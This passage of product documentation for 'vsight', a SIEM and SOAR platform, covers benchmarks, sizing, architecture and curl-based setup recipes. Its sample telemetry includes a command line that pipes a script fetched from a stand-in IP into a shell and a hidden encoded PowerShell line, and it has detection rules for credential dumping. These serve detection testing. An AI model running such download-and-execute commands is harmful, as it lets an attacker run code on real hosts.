2. Stateful CEP + Online ML + Graph 64-event microbatches executing Hot IOC lookup, sliding-window HLL, Welford/CUSUM, Markov, 4D HST, kill-chain state, and WAL commit 16,542 - 22,583 events/sec (avg ~44.3 - 60.4 us/event) Batch (64 ev): P50 786 us / P95 1,800 us / P99 2,533 - 3,354 us >= 5,000 events/sec & P99 <= 15,000 us (PASS)
3. Lock-Free 3-Hop Blast-Radius BFS Bounded 3-hop directed graph traversal over live MVCC StateView prefix indexes 10,800 - 74,000 queries/sec per core Avg 13.5 - 92.5 us / P99 45 - 3,487 us (load-dependent) avg <= 2,000 us (PASS)
4. Wait-Free MVCC Snapshot Checkout Concurrent SOC Studio & REST API read snapshot acquisition during active ingestion 12,500,000+ views/sec ~80 ns (zero reader/writer lock contention) Lock-free invariant (PASS)

2. Microbatch Flush Determinism & Latency Analysis

Single-event transactional writes force per-event WAL framing, CRC32 checksum calculation, and MVCC copy-on-write pointer swaps. vsight achieves both high sustained EPS and sub-4-millisecond P99 correlation latency through deterministic microbatching:

Microbatch Size (events) Flush Timer Ceiling Sustained Ingestion (EPS) P50 Batch Commit P99 Batch Commit End-to-End Alert Visibility
1 (Single-Event Endpoint) Immediate (0 ms) ~2,400 EPS 380 us 1,450 us < 1.5 ms
32 Events 10 ms ~17,900 EPS 510 us 1,890 us < 12 ms
64 Events *(Recommended)* 10 ms ~22,580 EPS 786 us 2,533 us < 13 ms
256 Events 25 ms ~26,400 EPS 2,410 us 6,820 us < 32 ms
512 Events (Hard Cap) 50 ms ~27,900 EPS 4,650 us 11,900 us < 62 ms

Why Latency Remains Bounded Under Attack Floods

  1. Bounded Ring Windows (O(1) Eviction): Per-entity authentication failure and file-modification sliding windows use fixed-capacity circular timestamp buffers rather than unbounded lists.
  2. HyperLogLog Lateral Fan-Out (O(1) Memory): Unique destination host fan-out per entity is tracked via compact HyperLogLog registers instead of growing hash sets.
  3. Instruction-Capped Bytecode VM: Custom expr_bytecode_v2 rules execute on a stack VM with a hard 256-instruction budget and zero regular-expression backtracking, eliminating catastrophic ReDoS latency spikes.
  4. Co-Located {tenant_id|entity_id} Sharding: All CEP windows, Online ML models, and Kill-Chain states for a host hash to the same shard, avoiding cross-shard distributed locking.

3. Memory Footprint & Multi-Tenant Capacity Sizing

Under the default digest_only Raw-Tee Policy, vsight computes a SHA-256 chain-of-custody digest on wire arrival and never retains raw log strings in RAM. Memory usage scales strictly with active monitored entities, not raw log volume:

Hot State Footprint per 10,000 Monitored Hosts

State Namespace Data Structure Footprint (10,000 Hosts) Retention / Eviction Policy
Sliding CEP Windows & HLL Circular timestamp rings + HyperLogLog registers ~12 MB Automatic TTL reaping (60s - 300s windows)
3-Model Online ML Ensemble Welford/EWMA/CUSUM scalars + Markov transition table + 4D Half-Space Trees ~25 MB Fixed-size per-entity streaming accumulators
Active Telemetry Graph Directed GraphNode & GraphEdge adjacency keys (24h horizon) ~80 MB Reaped during scheduled compact / TTL maintenance
Kill-Chains, Alerts & Enforcements KillChainState, SecurityAlert, SoarEnforcementState ~15 MB Bounded alert stream ring (512 live cursor frames) + .snap compaction
Raw Wire Payloads (digest_only) SHA-256 digest verification only 0 MB Zero raw payload bloat in RAM
Total Hot Working Set 16-Shard CoW MVCC Store ~132 MB Deterministic steady-state memory ceiling

4. Production Hardware Sizing Matrix

Deployment Tier Monitored Fleet Sustained / Peak EPS Recommended CPU & RAM Storage (NVMe SSD) Recommended Configuration
Edge / Branch Enclave Up to 1,000 hosts 1,500 / 5,000 EPS 2 vCPU, 1 GB RAM 50 GB NVMe raw_tee_mode = "alerts_only", microbatch = 32
Enterprise SOC Primary 10,000 hosts (10 tenants) 10,000 / 22,000 EPS 4 - 8 vCPU, 4 GB RAM 250 GB NVMe raw_tee_mode = "digest_only", microbatch = 64, hourly compact
MSSP Multi-Tenant Core 50,000+ hosts (100+ tenants) 20,000+ EPS per node (sharded by tenant) 16 vCPU, 16 GB RAM + Read Replica 1 TB NVMe RAID-10 raw_tee_mode = "digest_only", microbatch = 128, HA read-replica for Threat Hunts

vsight — Consolidated SOC Analyst, Administrator & Operations Handbook

vsight — Autonomous SIEM, CEP, Online ML, Threat Graph & SOAR


Part I: vsight — Autonomous SIEM, Security CEP, Unsupervised Online ML & Closed-Loop SOAR Platform

Overview

vsight is a self-contained, multi-tenant Autonomous Security Information and Event Management (SIEM), Stateful Complex Event Processing (CEP) Correlation Engine, 3-Hop Blast-Radius Telemetry Graph, 3-Model Unsupervised Online Machine Learning Anomaly Detector, Two-Tier Threat Intelligence Hub, and Closed-Loop Security Orchestration, Automation, and Response (SOAR) platform.

Distributed as a single native executable for Windows, Linux, and macOS with zero external database or message-broker dependencies, vsight ingests multi-format security telemetry (RFC 5424 Syslog, ArcSight CEF, OCSF v1.1.0, Windows Sysmon JSONL, and structured HTTP microbatches), correlates multi-stage MITRE ATT&CK kill-chains in sub-millisecond single-pass transactions, and orchestrates reversible containment across identity (vwarden), edge/WAF (vgate), host firewall, AWS, and Kubernetes planes.

SIEM & SOAR TOPOLOGY

vsight End-to-End Autonomous SIEM, Stateful CEP, Online ML, Threat Graph & SOAR Architecture

Click any component node to inspect how telemetry flows from wire ingestion through CEP + ML scoring to closed-loop SOAR.

Interactive SVG • Click any node (6 components)
1. MULTI-FORMAT INGEST BOUNDARY Syslog RFC 5424 / CEF / LEEF / HTTP JSON 2. REAL-TIME DETECTION & GRAPH CORE Hot IOC + CEP + RPN VM + 3-Model ML 3. DURABLE SOAR & MVCC STORAGE 16-Shard CoW MVCC + CRC32 WAL Normalized Events 64-ev / 10ms Batch Streaming Features Correlated Alerts Risk Multipliers Atomic MVCC Commit Ingest Edge Wire Normalizer & HTTP Edge Syslog TCP/UDP + OpenAPI Batch Buffer Engine Bounded Microbatch Ring Backpressure + Tenant Co-Location Detection Core Hot IOC & Stateful CEP VM 14-Stage MITRE + RPN Bytecode v2 Anomaly Engine 3-Model Unsupervised ML Welford Z + Shannon + Peer-Group Graph Pivot Lock-Free 3-Hop Graph CoW Adjacency + Timecoded BFS SOAR & Storage Durable SOAR & MVCC Store Awakeable Sagas + CRC32 WAL
Components:
Ingest Edge
Wire Normalizer & HTTP Edge
Multi-Format Wire Normalizer HTTP Smuggling Guard
Component 1 of 6
Architectural Role & Purpose

Parses RFC 5424/3164 Syslog, ArcSight CEF, IBM LEEF, SSHD, and JSON telemetry at ~70,000 lines/sec.

Contextual Description & System Interaction

Acts as the zero-allocation perimeter collector feeding normalized events into the bounded microbatch ring.

Core Functionality & Security Mechanics
  • Rejects CL+TE and dual Content-Length HTTP smuggling payloads at the socket boundary
  • Normalizes heterogeneous vendor wire lines into typed canonical security events
  • Computes SHA-256 raw-tee integrity digests without storing cleartext credentials by default
Buffer Engine
Bounded Microbatch Ring
Lock-Disciplined Ring Buffer Tenant Hash Partitioner
Component 2 of 6
Architectural Role & Purpose

Absorbs traffic bursts in a fixed-capacity ring buffer and flushes deterministic microbatches every 10 ms or 64 events.

Contextual Description & System Interaction

Bridges asynchronous network sockets to single-pass transactional batch evaluation.

Core Functionality & Security Mechanics
  • Enforces explicit 429 backpressure drops when ring occupancy reaches capacity
  • Co-locates tenant state keys onto deterministic shard prefixes via "{tenant_id}"
  • Guarantees predictable memory ceiling without unbounded heap queue growth
Detection Core
Hot IOC & Stateful CEP VM
Two-Tier IOC Matcher Stateful CEP RPN Bytecode VM
Component 3 of 6
Architectural Role & Purpose

Evaluates O(1) Hot Threat-Intel IOCs, canary honey-tokens, built-in MITRE kill-chains, and custom RPN rules.

Contextual Description & System Interaction

Combines deterministic signature, threat-intelligence, deception, and behavioral sequence detection in a single pass.

Core Functionality & Security Mechanics
  • Matches IP, domain, SHA-256, and canary indicators in sub-microsecond hash lookups
  • Tracks sliding-window brute-force, credential stuffing, and multi-stage MITRE progressions
  • Executes compiled RPN Bytecode v2 predicates with bounded stack depth and zero eval
Anomaly Engine
3-Model Unsupervised ML
Streaming Welford Z-Score First-Seen Entropy Peer Z-Score
Component 4 of 6
Architectural Role & Purpose

Updates per-entity streaming statistical baselines in O(1) space and scores zero-day behavioral deviations.

Contextual Description & System Interaction

Produces explainable composite entity risk scores without external GPU clusters or offline batch training.

Core Functionality & Security Mechanics
  • Computes Welford incremental mean/variance Z-scores on transfer volume and event cadence
  • Evaluates command-line Shannon entropy and rare parent->child process lineage transitions
  • Measures peer-group lateral fan-out against cohort medians and CMDB asset criticality
Graph Pivot
Lock-Free 3-Hop Graph
Copy-on-Write Entity Graph Swimlane Kill-Chain BFS
Component 5 of 6
Architectural Role & Purpose

Maintains directed entity relationships across IPs, users, hosts, and processes for sub-100 us 3-hop pivots.

Contextual Description & System Interaction

Connects isolated alerts into end-to-end intrusion narratives for SOC analysts and automated incident dossiers.

Core Functionality & Security Mechanics
  • Executes lock-free 3-hop breadth-first traversal on immutable Copy-on-Write snapshots
  • Preserves chronological edge sequence numbers for swimlane attack-path reconstruction
  • Supports O(1) historical time-travel inspection at any prior WAL offset
SOAR & Storage
Durable SOAR & MVCC Store
Durable Saga Runtime SSRF/HMAC Guard 16-Shard MVCC
Component 6 of 6
Architectural Role & Purpose

Persists alerts, graph edges, ML baselines, and human-in-the-loop SOAR sagas in a 16-shard MVCC engine.

Contextual Description & System Interaction

Closes the detection-to-containment loop across vwarden IAM revocation and vgate edge IP quarantine.

Core Functionality & Security Mechanics
  • Executes temporary containment and suspends durable awakeables for SOC approval
  • Performs deterministic LIFO compensation rollback when analysts mark false positives
  • Encrypts webhook secrets and durable saga contexts with AES-256-GCM at rest

Core Capabilities

Audience Capability Operational Value
SOC Tier-1 / Tier-2 Analysts Kill-Chain Alert Grouping & 3-Hop Blast-Radius Graph Collapses noisy individual detections into per-entity MITRE ATT&CK kill-chain timelines, interactive 3-hop SVG blast-radius subgraphs, and cross-host lateral pivot campaign chains (patient_zero -> bridges -> lead).
Threat Hunters Two-Tier STIX 2.1 Intel, Deception & O(1) Time-Travel Evaluates Hot IOCs inline during ingestion in O(1), scans Cold IOCs asynchronously across retained WAL history, triggers high-confidence alerts on deception honeytokens, and compares pre-compromise vs. live blast radius in nanoseconds.
Detection Engineers RPN Bytecode VM, Sigma Import & Sandbox Backtesting Compiles declarative predicates, stack-based RPN bytecode expressions (expr_bytecode_v2), and stateful HyperLogLog sliding-window scripts (batch_script_v2) with canary shadow scoring and zero-side-effect historical WAL backtesting.
Incident Responders Durable Closed-Loop SOAR & LIFO Saga Rollback Executes immediate soft containment (vwarden session revocation + vgate WAF quarantine), suspends on human-in-the-loop analyst triage (awakeable), and automatically executes LIFO compensating rollback on false positives.
Platform Administrators Zero-Bloat Storage, Multi-Tenant RBAC & HA Sync Enforces 4-tier tenant-scoped RBAC, SHA-256 hashed scoped API keys, digest_only raw-tee memory protection, SSRF-hardened webhook connectors, and authenticated WAL delta replication.

Live SOC Studio Preview

Zero-Trust SOC Operator Authentication Gate (/login)

vsight Zero-Trust SOC Operator Authentication Gate

Correlated Kill-Chain Alert Triage & Real-Time KPI Console (/studio)

vsight Unified SOC Studio — Correlated Alerts & Entity Context

Interactive 3-Hop Blast-Radius Telemetry Graph (/studio#tab=graph)

vsight 3-Hop Blast-Radius Telemetry Graph & Node Contextual Inspector


End-User Documentation Suite

  1. Overview & Readme — Platform capabilities, workspace preview, and quickstart commands.
  2. How-To Guide — Step-by-step recipes for Syslog/HTTP ingestion, stateful CEP rules, STIX/IOC threat feeds, and SOAR containment playbooks.
  3. SOC Analyst User Guide — Console operations covering alert triage, 3-part CMDB risk scoring, online ML anomaly explanations, and incident timeline investigation.
  4. Administrator Guide — Multi-tenant retention and raw-tee digest policies, SSRF-safe webhook allowlists, WAL/snapshot durability, microbatch tuning, and RBAC/API keys.
  5. Operations & Use Cases — Deterministic 6-stage SOC and SOAR walkthrough from credential stuffing and MFA fatigue through lateral movement and exfiltration containment.
  6. Configuration & CLI Reference — Complete CLI subcommand reference, environment bootstrap schema, telemetry wire formats, and OpenAPI 3.1 endpoint catalog.
  7. Performance & Capacity Guide — Empirical vsight bench throughput, P50/P99 CEP + ML latency distributions, microbatch flush determinism, and memory sizing.
  8. Consolidated User Handbook — Single-page master compendium combining all End-User, How-To, Analyst, Administrator, Operations, Reference, and Performance guides.

Quickstart

Run vsight directly using the native binary for your platform (vsight.exe on Windows or ./vsight on Linux and macOS):

BASH
# Verify semantic version and active storage schema version
./vsight version

# Execute the deterministic 6-stage SOC & SOAR CLI walkthrough
./vsight walkthrough

# Run the release-readiness throughput & P99 latency benchmark gate
./vsight bench

# Launch SOC Studio & OpenAPI 3.1 server on loopback with seeded intrusion telemetry
./vsight serve 8090 ./vsight_data --dev-demo

# Launch hardened production server with RFC 5424 TCP/UDP Syslog listeners
export VSIGHT_ADMIN_PASSWORD="ChangeMe_StrongOperatorSecret_2026!"
export VSIGHT_MASTER_KEY_HEX="0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"
export VSIGHT_OIDC_HMAC_SECRET="vwarden-shared-federation-signing-secret-2026"
./vsight serve 8090 ./data --host 127.0.0.1 --syslog-tcp 127.0.0.1:5514 --syslog-udp 127.0.0.1:5514

Once started, open http://127.0.0.1:8090/login in your browser to authenticate into the SOC Studio, or query http://127.0.0.1:8090/api/v1/openapi.json for the live OpenAPI 3.1.0 specification.


Part II: vsight — How-To Guide

This guide provides step-by-step, copy-pasteable operational recipes for ingesting multi-format telemetry, authoring custom stateful CEP detection rules, loading STIX 2.1 and Two-Tier IOC feeds, and configuring SSRF-hardened SOAR containment playbooks.


1. Authenticate & Obtain a Session or Scoped Collector API Key

Mutating REST API calls require either an authenticated operator session cookie paired with the X-VSight-CSRF: 1 header, or a scoped Bearer vsk_... API key.

1.1 Sign In via Operator Credentials (POST /api/v1/auth/login)

BASH
curl -i -c cookies.txt -X POST http://127.0.0.1:8090/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "username": "admin",
    "password": "ChangeMe_StrongOperatorSecret_2026!",
    "auth_mode": "local"
  }'

1.2 Mint a Tenant-Pinned Collector API Key (POST /api/v1/admin/api-keys)

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/admin/api-keys \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "label": "prod-edge-vgate-forwarder",
    "role": "COLLECTOR_INGEST",
    "tenant_id": "corp-prod",
    "rate_limit_per_min": 12000
  }'

2. Ingest RFC 5424 Syslog, CEF & HTTP JSON Microbatches

vsight normalizes heterogeneous wire streams into canonical OCSF-aligned TelemetryEvent records and commits them in bounded microbatches (<= 512 events per batch).

2.1 Stream RFC 5424 Syslog & ArcSight CEF (POST /api/v1/telemetry/ingest-raw)

BASH
curl -s -X POST http://127.0.0.1:8090/api/v1/telemetry/ingest-raw \
  -H "Authorization: Bearer vsk_live_collector_token_example" \
  -H "Content-Type: application/json" \
  -d '{
    "tenant_id": "corp-prod",
    "format_hint": "auto",
    "raw_tee_mode": "digest_only",
    "raw_stream": "<134>1 2026-11-14T02:14:00Z edge-waf-01 vgate 4120 - - host=host:web-01 user=user:bob src=203.0.113.88 dst=host:db-01 dpt=5432 proto=tcp outcome=success msg=\"SQL admin tunnel\"\nCEF:0|Prevail|VGate|1.2|WAF-942100|SQL Injection Attempt|9|src=203.0.113.88 dhost=host:web-01 suser=user:bob cs1=powershell.exe -enc SQBFAFgA out=65536"
  }'

2.2 Enable Native TCP/UDP RFC 5424 Syslog Listeners (POST /api/v1/admin/listeners)

You can start listeners at boot with --syslog-tcp 127.0.0.1:5514 --syslog-udp 127.0.0.1:5514, or dynamically via the Admin API:

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/admin/listeners \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "action": "start",
    "tcp_addr": "127.0.0.1:5514",
    "udp_addr": "127.0.0.1:5514",
    "raw_tee_mode": "digest_only"
  }'

2.3 Submit High-Throughput Structured HTTP JSON Microbatches (POST /api/v1/telemetry/batch)

BASH
curl -s -X POST http://127.0.0.1:8090/api/v1/telemetry/batch \
  -H "Authorization: Bearer vsk_live_collector_token_example" \
  -H "Content-Type: application/json" \
  -d '{
    "batch_id": "batch_edge_20261114_001",
    "events": [
      {
        "event_id": "ev_auth_01",
        "tenant_id": "corp-prod",
        "source_system": "vward",
        "event_kind": "auth",
        "host_id": "host:web-01",
        "user_id": "user:bob",
        "src_ip": "203.0.113.88",
        "command_line": "OIDC PKCE login failure: invalid TOTP",
        "outcome": "failure"
      },
      {
        "event_id": "ev_exec_02",
        "tenant_id": "corp-prod",
        "source_system": "endpoint",
        "event_kind": "process_exec",
        "host_id": "host:web-01",
        "host_role": "web-server",
        "user_id": "user:bob",
        "src_ip": "203.0.113.88",
        "parent_proc": "nginx",
        "process_name": "sh",
        "command_line": "sh -c \"curl https://198.51.100.99/loader.sh | sh\"",
        "bytes_out": 16384
      }
    ]
  }'

3. Author & Promote Stateful CEP Correlation Rules

vsight supports three custom detection engines in addition to its built-in 14-stage MITRE kill-chain rules:

  • predicate_v1 — Fast field/operator pattern matching (contains_any, contains_all, equals, starts_with) plus optional minimum Shannon entropy.
  • expr_bytecode_v2 — Compiled Reverse Polish Notation (RPN) stack bytecode VM with a strict 256-instruction execution budget.
  • batch_script_v2 — Stateful sliding-window correlation combining RPN bytecode filtering with per-entity ring-buffer counts and HyperLogLog unique destination fan-out.

vsight MITRE ATT&CK Matrix, Kill-Chains & Custom Bytecode Rules

3.1 Dry-Run & Disassemble a Bytecode Rule (POST /api/v1/rules/test-eval)

Always test expressions against a sample event before deploying to production:

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/rules/test-eval \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "expr_source": "(process_name in [\"powershell.exe\", \"pwsh\"]) and (command_line contains \"-enc\" or bytes_out >= 10485760)",
    "sample_event": {
      "host_id": "host:web-01",
      "process_name": "powershell.exe",
      "parent_proc": "nginx",
      "command_line": "powershell.exe -nop -w hidden -enc SQBFAFgA",
      "bytes_out": 20971520
    }
  }'

3.2 Register a Stateful Sliding-Window + HyperLogLog Rule (POST /api/v1/rules/custom)

Deploy new rules in canary_shadow mode first so vsight increments shadow_hits without paging on-call responders, then promote to active_enforce:

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/rules/custom \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "rule_id": "CUST-SMB-SPRAY-HLL-01",
    "rule_name": "Stateful Lateral SMB Spray Across 3+ Distinct Peers in 60s",
    "tenant_scope": "corp-prod",
    "engine_kind": "batch_script_v2",
    "mode": "canary_shadow",
    "expr_source": "(protocol == \"smb\" or dst_port == 445) and event_kind == \"vnet_l7\"",
    "window_span_sec": 60,
    "window_group_field": "dst_host",
    "window_min_count": 4,
    "window_min_unique": 3,
    "severity": 9.1,
    "tactic_id": "TA0008",
    "tactic_name": "Lateral Movement",
    "technique_id": "T1021",
    "sub_technique_id": "T1021.002",
    "technique_name": "SMB/Windows Admin Shares"
  }'

# Promote from canary_shadow to active_enforce after verifying zero false positives
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/rules/promote \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "rule_id": "CUST-SMB-SPRAY-HLL-01",
    "target_mode": "active_enforce"
  }'

3.3 Import Community Sigma YAML Rules (POST /api/v1/rules/import-sigma)

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/rules/import-sigma \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "tenant_scope": "corp-prod",
    "mode": "active_enforce",
    "sigma_yaml": "title: Suspicious LSASS Credential Dump\nid: sigma-lsass-001\nlevel: critical\ntags:\n  - attack.credential_access\n  - attack.t1003.001\ndetection:\n  selection:\n    CommandLine|contains:\n      - sekurlsa\n      - lsass\n  condition: selection"
  }'

4. Load STIX 2.1 Bundles & Two-Tier Threat-Intel IOCs

vsight separates indicators into two operational tiers:

  • hot_active — Evaluated inline in O(1) on every incoming event (ip, domain, sha256, user, process).
  • cold_hunt — Stored off the hot path to keep memory deterministic and used for retrospective WAL threat hunts (POST /api/v1/hunt/query), with optional automatic promotion to hot_active upon sighting.

4.1 Upsert High-Confidence Hot Indicators (POST /api/v1/intel/iocs)

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/intel/iocs \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "ioc_type": "ip",
    "ioc_value": "185.220.101.42",
    "tier": "hot_active",
    "confidence": 95,
    "severity": 9.5,
    "source_feed": "STIX2.1:CERT-ThreatFeed",
    "campaign_name": "UNC-ShadowSpider",
    "tactic_id": "TA0011",
    "tactic_name": "Command and Control",
    "technique_id": "T1071",
    "sub_technique_id": "T1071.001",
    "technique_name": "Web Protocols"
  }'

4.2 Import an OASIS STIX 2.1 Bundle (POST /api/v1/intel/stix-bundle)

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/intel/stix-bundle \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "default_tier": "hot_active",
    "source_feed": "ISAC-Financial-STIX21",
    "bundle_json": "{\"type\":\"bundle\",\"id\":\"bundle--8e2e2d2b-17d4-4cbf-938f-98ee46b3cd3f\",\"objects\":[{\"type\":\"indicator\",\"id\":\"indicator--01\",\"name\":\"C2 Exit Relay\",\"pattern\":\"[ipv4-addr:value = '\''198.51.100.99'\'']\",\"confidence\":92}]}"
  }'

4.3 Subscribe to Live TAXII 2.1 & STIX 2.1 Feeds (POST /api/v1/intel/taxii-feeds)

vsight includes an SSRF-guarded TAXII 2.1 collection poller supporting public (none) and authenticated (bearer, basic, api_key) feeds. Secrets are stored in MVCC state and redacted (***) in all API responses.

Feed / Source Protocol Auth Mode Endpoint / Discovery URL
dPhish TAXII 2.1 (Phishing IOCs) TAXII 2.1 none https://tip.dphish.live/taxii2/root/collections/68f57461-5c20-451d-ab32-6357d1fbef0b/objects/?limit=100
DugganUSA STIX 2.1 (ATT&CK-mapped) STIX 2.1 JSON none Public hourly STIX 2.1 bundle URLs
LevelBlue OTX (Open Threat Exchange) TAXII 2.1 basic https://otx.alienvault.com/taxii/ (OTX API key as auth_username)
CISA AIS (Automated Indicator Sharing) TAXII 2.1 bearer / mTLS Provisioned upon CISA AIS registration & IP allowlisting
MITRE ATT&CK Enterprise STIX 2.1 JSON none https://raw.githubusercontent.com/mitre-attack/attack-stix-data/master/enterprise-attack/enterprise-attack.json
OpenCTI / MISP / OASIS Medallion TAXII 2.1 bearer / api_key Self-hosted aggregator for Abuse.ch (URLhaus, ThreatFox) & CISA KEV (?limit=100)

Register & Poll a Public TAXII 2.1 Feed (dPhish)

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/intel/taxii-feeds \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "feed_id": "dphish-public",
    "collection_url": "https://tip.dphish.live/taxii2/root/collections/68f57461-5c20-451d-ab32-6357d1fbef0b/objects/?limit=100",
    "source_feed": "TAXII2.1:dPhish",
    "auth_type": "none",
    "poll_interval_sec": 300,
    "min_hot_confidence": 85,
    "enabled": true
  }'

# Trigger immediate poll
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/intel/taxii-feeds/poll \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{"feed_id":"dphish-public"}'

Register an Authenticated TAXII 2.1 Feed (basic, bearer, or api_key)

BASH
# Example: LevelBlue OTX (HTTP Basic Auth with OTX API key as username)
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/intel/taxii-feeds \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "feed_id": "otx-taxii",
    "collection_url": "https://otx.alienvault.com/taxii/collections/1/objects/?limit=100",
    "source_feed": "TAXII2.1:LevelBlue-OTX",
    "auth_type": "basic",
    "auth_username": "<YOUR_OTX_API_KEY>",
    "auth_secret": "x",
    "poll_interval_sec": 600,
    "enabled": true
  }'

# Example: OpenCTI / Private TIP (Bearer Token)
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/intel/taxii-feeds \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "feed_id": "opencti-prod",
    "collection_url": "https://opencti.example.org/taxii2/root/collections/all/objects/?limit=100",
    "source_feed": "TAXII2.1:OpenCTI",
    "auth_type": "bearer",
    "auth_secret": "<YOUR_BEARER_TOKEN>",
    "enabled": true
  }'

5. Configure SOAR Webhook & Containment Playbooks

vsight Closed-Loop SOAR Playbooks, Case SLAs & Sealed Dossiers

5.1 Register an SSRF-Validated External SOAR Connector (POST /api/v1/soar/connectors)

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/soar/connectors \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "connector_id": "corp.edr.quarantine",
    "ecosystem": "edr",
    "display_name": "Enterprise EDR Host Isolation Webhook",
    "endpoint_url": "https://soar-gw.security.example.com/v1/isolate",
    "apply_template": "{\"action\":\"isolate_host\",\"host\":\"{{entity_id}}\",\"incident\":\"{{incident_id}}\"}",
    "rollback_template": "{\"action\":\"unisolate_host\",\"host\":\"{{entity_id}}\",\"incident\":\"{{incident_id}}\"}",
    "enabled": true
  }'

5.2 Simulate Playbook Dry-Run & Execute Multi-Vendor Containment

BASH
# 1. Dry-run playbook to inspect exact rendered commands and HMAC signatures without side effects
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/soar/dry-run \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "incident_id": "inc-2026-web01",
    "tenant_id": "corp-prod",
    "entity_id": "host:web-01",
    "user_id": "user:bob",
    "src_ip": "203.0.113.88",
    "mitre_tech_id": "T1003.001",
    "action_mode": "apply"
  }'

# 2. Execute programmable containment across vwarden, vgate, host netfilter, and Kubernetes
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/soar/execute-playbook \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "incident_id": "inc-2026-web01",
    "tenant_id": "corp-prod",
    "entity_id": "host:web-01",
    "connector_ids": ["prevail.vward.iam", "prevail.vgate.edge", "generic.firewall.netfilter", "cloud.k8s.netpol"],
    "action_mode": "apply"
  }'

Part III: vsight — SOC Analyst User Guide

This guide walks Security Operations Center (SOC) Tier-1 Triage Analysts, Tier-2 Incident Responders, and Threat Hunters through daily investigation workflows inside the vsight Web Studio.


1. Role-Aware Workspaces & Navigation

After authenticating at /login via local operator credentials or a signed vwarden OIDC 1.0 / PKCE assertion, vsight routes operators to one of four role-aware workspace shells:

Route Workspace Mode Minimum Role Primary Responsibility
/ui/portal SOC Viewer Portal SOC_READ_VIEWER Read-only inspection of correlated alerts, 3-hop attack graphs, MITRE coverage, CMDB risk, and SOAR dry-run plans; mutating controls are hidden and rejected server-side (403 Forbidden).
/ui/delegated Tier-2 Responder Console TIER2_RESPONDER Incident triage, SOAR containment & LIFO rollback, CMDB asset enrollment, Two-Tier IOC management, WAL threat hunts, and deception honeytokens within assigned tenant scopes.
/ui/admin SOC Lead Admin Console SOC_LEAD_ADMIN Cross-tenant collective threat intelligence, custom bytecode CEP rule promotion, per-tenant rule threshold profiles, Syslog listeners, scoped API keys, and WAL compaction.
/studio Unified SOC Studio Authenticated Role Unified 8-tab SOC command console adapting active controls dynamically to the operator's role and tenant boundary.

2. Alert Triage Queue & Kill-Chain Grouping (Tab 1: Alerts & Stream)

Traditional SIEM consoles overwhelm analysts with thousands of disconnected low-level events. vsight groups correlated detections by Entity Kill-Chain by default (Group By: Entity / Kill-Chain), surfacing the highest-risk compromised hosts and identities at the top of the queue.

vsight SOC Studio — Alert Triage Queue & KPI Strip

2.1 Reading the Real-Time Telemetry KPI Strip

  • Telemetry Events: Total normalized events committed to the sharded MVCC state store.
  • Correlated Alerts: High-confidence multi-signal alerts emitted across CEP, Hot IOC, Deception, and Online ML engines.
  • Peak Kill-Chain Score: Highest composite risk score across active (tenant_id, entity_id) kill-chain state machines.
  • Active Enforcements: Live soft or permanent SOAR containment policies active on vwarden and vgate.
  • WAL Offset: Monotonic CRC32-verified transaction log offset enabling O(1) forensic time-travel.

2.2 Triaging Grouped Alerts & Focused Entity Context

  1. Filter & Sort: Narrow the triage queue by severity (CRITICAL, HIGH & CRITICAL), MITRE ATT&CK tactic (TA0001 Initial Access through TA0010 Exfiltration), entity identifier, or free-text search across usernames, source IPs, and command lines.
  2. Focused Entity Context Bar: Clicking any entity pill sets the global Focused Entity Context (host:web-01 by default) and exposes one-click pivot actions:
    • 3-Hop Graph — Traverses the bounded blast-radius subgraph centered on the entity.
    • 3-Part CMDB Risk — Computes real-time inherent, active threat, and blast-exposure risk scores.
    • What-If Harden — Simulates applying compensating controls or CVE patches.
    • SOAR Contain — Initiates a durable IncidentContainmentWorkflow for immediate quarantine.
    • Time-Travel Diff — Compares the entity's pre-compromise snapshot against live state.
    • Reset Risk — Clears residual active threat score after confirmed remediation or false-positive triage.
  3. Cursor Alert Stream & Collective Sightings: Switch the sub-navigation bar to Live Alert & Campaign Stream (GET /api/v1/alerts/stream) to poll O(1) ring-buffer watermarks (since_seq, head_seq, lag_dropped), or Multi-Tenant Collective Threat Intel (GET /api/v1/intel/collective) to spot shared attacker IPs hitting multiple tenants (+25% score boost across 2 tenants; +50% across 3+ tenants).

